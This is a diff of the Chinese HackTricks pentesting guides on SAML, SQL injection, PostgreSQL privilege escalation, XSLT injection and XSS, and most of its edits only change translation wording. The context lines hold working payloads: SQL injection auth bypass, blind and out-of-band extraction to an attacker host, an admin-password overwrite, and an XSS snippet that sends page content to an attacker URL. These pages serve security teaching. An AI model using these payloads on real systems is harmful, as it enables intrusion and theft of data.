(541).png>) @@ -143,13 +143,13 @@ SAML响应是**解压缩和base64编码的XML文档**,可能会受到XML外部 ... [...] ``` -## 工具 +## Tools 您还可以使用 Burp 扩展 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) 从 SAML 请求生成 POC,以测试可能的 XXE 漏洞和 SAML 漏洞。 还可以查看这个演讲: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI) -## 通过 SAML 的 XSLT +## XSLT via SAML 有关 XSLT 的更多信息,请访问: @@ -187,13 +187,13 @@ SAML响应是**解压缩和base64编码的XML文档**,可能会受到XML外部 ## XML Signature Exclusion -**XML Signature Exclusion** 观察 SAML 实现的行为,当 Signature 元素缺失时。如果该元素缺失,**签名验证可能不会发生**,使其变得脆弱。可以通过更改通常由签名验证的内容来测试这一点。 +**XML Signature Exclusion** 观察 SAML 实现的行为,当 Signature 元素缺失时。如果此元素缺失,**签名验证可能不会发生**,使其变得脆弱。可以通过更改通常由签名验证的内容来测试这一点。 ![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>) ### Tool -您还可以使用 Burp 扩展 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)。拦截 SAML 响应并点击 `Remove Signatures`。这样,**所有** Signature 元素将被移除。 +您还可以使用 Burp 扩展 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)。拦截 SAML 响应并点击 `Remove Signatures`。这样 **所有** 签名元素都会被移除。 在移除签名后,允许请求继续发送到目标。如果服务不需要签名 @@ -209,7 +209,7 @@ Certificate Faking 是一种测试 **服务提供者 (SP) 是否正确验证 SAM 1. 拦截 SAML 响应。 2. 如果响应包含签名,使用 `Send Certificate to SAML Raider Certs` 按钮将证书发送到 SAML Raider Certs。 -3. 在 SAML Raider 证书选项卡中,选择导入的证书并点击 `Save and Self-Sign` 创建原始证书的自签名克隆。 +3. 在 SAML Raider Certificates 选项卡中,选择导入的证书并点击 `Save and Self-Sign` 创建原始证书的自签名克隆。 4. 返回到 Burp 的代理中拦截的请求。 从 XML Signature 下拉菜单中选择新的自签名证书。 5. 使用 `Remove Signatures` 按钮移除任何现有签名。 6. 使用 **`(Re-)Sign Message`** 或 **`(Re-)Sign Assertion`** 按钮(视情况而定)使用新证书签署消息或声明。 @@ -244,11 +244,11 @@ return "SAML Response successfully redirected to SP-Target." except Exception as e: return f"Failed to redirect SAML Response: {e}" ``` -## 登出功能中的XSS +## XSS 在注销功能中的应用 原始研究可以通过 [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) 访问。 -在目录暴力破解的过程中,发现了一个登出页面: +在目录暴力破解的过程中,发现了一个注销页面: ``` https://carbon-prototype.uberinternal.com:443/oidauth/logout ``` @@ -256,11 +256,11 @@ https://carbon-prototype.uberinternal.com:443/oidauth/logout ``` https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1 ``` -这揭示了 `base` 参数接受一个 URL。考虑到这一点,出现了用 `javascript:alert(123);` 替代 URL 的想法,以尝试发起 XSS(跨站脚本)攻击。 +这表明 `base` 参数接受一个 URL。考虑到这一点,出现了用 `javascript:alert(123);` 替换 URL 的想法,以尝试发起 XSS(跨站脚本)攻击。 ### 大规模利用 -[来自这项研究](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/): +[根据这项研究](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/): [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) 工具被用来分析 `uberinternal.com` 的子域,以查找使用相同库的域。随后,开发了一个脚本来针对 `oidauth/prompt` 页面。该脚本通过输入数据并检查其是否反映在输出中来测试 XSS(跨站脚本)。在输入确实被反映的情况下,脚本将该页面标记为易受攻击。 ```python @@ -280,10 +280,10 @@ doesit = Fore.GREEN + "yes" print(Fore.WHITE + url2) print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit) ``` -## 参考文献 +## 参考 - [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) -- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\ +- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) - [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) - [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index 493b269da..aa30bf33c 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -25,7 +25,7 @@ _请注意,如果您能看到错误消息或能够发现查询正常工作与不正常工作时的差异,这个阶段将会更容易。_ -### **评论** +### **注释** ```sql MySQL #comment @@ -191,7 +191,7 @@ _在每个不同的数据库中发现这些数据的方法各不相同,但方 ## 利用隐藏的基于联合的注入 -当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入,需要识别后端的执行查询。 +当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入。要将盲注入转变为基于联合的注入,需要识别后端的执行查询。 这可以通过使用盲注入技术以及特定于目标数据库管理系统(DBMS)的默认表来实现。为了理解这些默认表,建议查阅目标DBMS的文档。 @@ -208,14 +208,14 @@ _在每个不同的数据库中发现这些数据的方法各不相同,但方 ``` ## 利用盲注 -在这种情况下,您无法看到查询的结果或错误,但您可以**区分**查询何时**返回****真**或**假**响应,因为页面上的内容不同。\ +在这种情况下,您无法看到查询的结果或错误,但您可以**区分**查询**返回**的**真**或**假**响应,因为页面上的内容不同。\ 在这种情况下,您可以利用这种行为逐字符地转储数据库: ```sql ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ``` ## 利用错误盲注 -这与之前的**情况相同**,但不是区分查询的真/假响应,而是可以**区分**SQL查询中的**错误**与否(可能是因为HTTP服务器崩溃)。因此,在这种情况下,每次正确猜测字符时,您可以强制产生SQL错误: +这与之前的**情况相同**,但不是区分查询的真/假响应,而是可以**区分**SQL查询中的**错误**与否(可能是因为HTTP服务器崩溃)。因此,在这种情况下,每次正确猜测字符时,您可以强制产生一个SQL错误: ```sql AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` @@ -233,7 +233,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ## Out of band Exploitation -如果**没有其他**利用方法**有效**,您可以尝试使**数据库将信息外泄**到您控制的**外部主机**。例如,通过DNS查询: +如果**没有其他**利用方法**有效**,您可以尝试使**数据库将**信息外泄到您控制的**外部主机**。例如,通过DNS查询: ```sql select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); ``` @@ -281,7 +281,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' **推荐列表**: 您应该将列表中的每一行用作用户名,密码始终为: _**Pass1234.**_\ -&#xNAN;_(这些有效载荷也包含在本节开头提到的大列表中)_ +_(这些有效载荷也包含在本节开头提到的大列表中)_ {{#file}} sqli-hashbypass.txt @@ -289,7 +289,7 @@ sqli-hashbypass.txt ### GBK 认证绕过 -如果 ' 被转义,您可以使用 %A8%27,当 ' 被转义时,将创建:0xA80x5c0x27 (_╘'_) +如果 ' 被转义,您可以使用 %A8%27,当 ' 被转义时,将创建: 0xA80x5c0x27 (_╘'_) ```sql %A8%27 OR 1=1;-- 2 %8C%A8%27 OR 1=1-- 2 @@ -322,7 +322,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ 如果数据库存在漏洞,并且用户名的最大字符数例如为30,而您想要冒充用户**admin**,请尝试创建一个名为:“_admin \[30个空格] a_”的用户名和任何密码。 -数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**,它将**截断****用户名**到**允许的最大字符数**(在这种情况下为:“_admin \[25个空格]_”),然后它将**自动删除末尾的所有空格**,在数据库中更新用户“**admin**”的**新密码**(可能会出现一些错误,但这并不意味着这没有成功)。 +数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**,它将**截断****用户名**到**允许的最大字符数**(在这种情况下为:“_admin \[25个空格]_”),然后它将**自动删除所有末尾的空格**,在数据库中更新用户“**admin**”的**新密码**(可能会出现一些错误,但这并不意味着这没有成功)。 更多信息:[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) @@ -340,7 +340,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20- 示例有效负载注入: -一个注入有效负载可能被构造如下,其中尝试将两行插入到 `users` 表中。第一行是诱饵,第二行针对现有管理员的电子邮件,目的是更新密码: +有效负载可能被构造如下,其中尝试将两行插入到 `users` 表中。第一行是诱饵,第二行针对现有管理员的电子邮件,目的是更新密码: ```sql INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- "; ``` @@ -348,7 +348,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_ - 查询尝试插入两行:一行为 `generic_user@example.com`,另一行为 `admin_generic@example.com`。 - 如果 `admin_generic@example.com` 的行已经存在,`ON DUPLICATE KEY UPDATE` 子句会触发,指示 MySQL 更新现有行的 `password` 字段为 "bcrypt_hash_of_newpassword"。 -- 因此,可以尝试使用 `admin_generic@example.com` 进行身份验证,密码对应于 bcrypt 哈希("bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希,应替换为所需密码的实际哈希)。 +- 因此,可以尝试使用 `admin_generic@example.com` 和与 bcrypt 哈希对应的密码进行身份验证("bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希,应替换为所需密码的实际哈希)。 ### 提取信息 @@ -373,7 +373,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will ```python __import__('binascii').unhexlify(hex(215573607263)[2:]) ``` -使用 **hex** 和 **replace**(以及 **substr**): +使用 **hex** 和 **replace** (以及 **substr**): ```sql '+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index d69c9a5d0..73241e005 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -12,21 +12,21 @@ CREATE EXTENSION dblink; ### 权限提升 -文件 `pg_hba.conf` 可能配置不当 **允许来自 localhost 的任何用户连接** 而无需知道密码。该文件通常可以在 `/etc/postgresql/12/main/pg_hba.conf` 中找到,错误的配置如下: +文件 `pg_hba.conf` 可能配置不当 **允许从 localhost 以任何用户身份连接**,而无需知道密码。该文件通常位于 `/etc/postgresql/12/main/pg_hba.conf`,不当配置的样子如下: ``` local all all trust ``` -_请注意,这种配置通常用于在管理员忘记数据库用户密码时修改密码,因此有时您可能会发现它。_\ -&#xNAN;_N请注意,pg_hba.conf 文件仅可由 postgres 用户和组读取,并且仅可由 postgres 用户写入。_ +_请注意,此配置通常用于在管理员忘记数据库用户密码时修改密码,因此有时您可能会找到它。_\ +_请注意,文件 pg_hba.conf 仅可由 postgres 用户和组读取,并且仅可由 postgres 用户写入。_ -这种情况是**有用的,如果**您**已经**在受害者的**shell**中,因为它将允许您连接到 postgresql 数据库。 +此情况是 **有用的,如果** 您 **已经** 在受害者的 **shell** 中,因为它将允许您连接到 postgresql 数据库。 另一个可能的错误配置类似于: ``` host all all 127.0.0.1/32 trust ``` 因为它将允许来自本地主机的每个人以任何用户身份连接到数据库。\ -在这种情况下,如果**`dblink`**函数**正常工作**,您可以通过通过已建立的连接连接到数据库来**提升权限**,并访问不应该能够访问的数据: +在这种情况下,如果 **`dblink`** 函数 **正常工作**,您可以通过连接到已经建立的连接来 **提升权限**,并访问不应该能够访问的数据: ```sql SELECT * FROM dblink('host=127.0.0.1 user=postgres diff --git a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md index fc0f72f2e..19475279d 100644 --- a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md +++ b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md @@ -1,4 +1,4 @@ -# XSLT 服务器端注入 (可扩展样式表语言转换) +# XSLT 服务器端注入(可扩展样式表语言转换) {{#include ../banners/hacktricks-training.md}} @@ -105,7 +105,7 @@ Supports Backwards Compatibility: ``` -### **通过HTTP** +### **通过 HTTP** ```xml @@ -348,7 +348,7 @@ xmlns:php="http://php.net/xsl" > ### **更多语言** -**在此页面中,您可以找到其他语言中 RCE 的示例:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)** +**在此页面中,您可以找到其他语言中的 RCE 示例:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET) **(C#、Java、PHP)** ## **从类中访问 PHP 静态函数** @@ -367,6 +367,8 @@ version="1.0"> ``` +(示例来自 [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)) + ## 更多有效载荷 - 查看 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) @@ -380,8 +382,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt ## **参考文献** -- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)\\ -- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\ +- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf) +- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf) - [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 11adfee14..068b4d43c 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -5,27 +5,27 @@ 1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射** 或 **被** **JS** 代码 **使用**。 2. **找到上下文**,查看它是如何被反射/使用的。 3. 如果 **被反射**: -1. 检查 **你可以使用哪些符号**,并根据此准备有效载荷: -1. 在 **原始 HTML** 中: -1. 你能创建新的 HTML 标签吗? -2. 你能使用支持 `javascript:` 协议的事件或属性吗? -3. 你能绕过保护措施吗? -4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释,你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。 -5. 如果你不能创建执行 JS 代码的 HTML 标签,你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗? -2. 在 **HTML 标签内**: -1. 你能退出到原始 HTML 上下文吗? -2. 你能创建新的事件/属性来执行 JS 代码吗? -3. 你被困的属性是否支持 JS 执行? -4. 你能绕过保护措施吗? -3. 在 **JavaScript 代码中**: -1. 你能逃逸 ``标签之间,或在可以执行JS代码的HTML事件之间,或在接受`javascript:`协议的属性之间。 +在这些情况下,您的**输入**将**反映在.js文件的JS代码**中,或在``标签之间,或在可以执行JS代码的HTML事件之间,或在接受`javascript:`协议的属性之间。 ### 转义\ ``` -- **module** (默认,无需解释) +- **模块** (默认,无需解释) - [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能,您可以将一堆数据(HTML、CSS、JS…)打包到一个 **`.wbn`** 文件中。 ```html ``` > [!NOTE] -> 如果在 cookie 中设置了 HTTPOnly 标志,您 **将无法通过 JavaScript 访问 cookies**。但在这里,如果您足够幸运,您可以 [绕过此保护的某些方法](../hacking-with-cookies/index.html#httponly)。 +> 如果在 cookie 中设置了 HTTPOnly 标志,您 **将无法通过 JavaScript 访问 cookies**。但如果您足够幸运,这里有 [一些绕过此保护的方法](../hacking-with-cookies/index.html#httponly)。 ### 偷取页面内容 ```javascript @@ -1282,7 +1282,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open("GET", url, true) xhr.send(null) ``` -### 查找内部IP地址 +### 查找内部IP ```html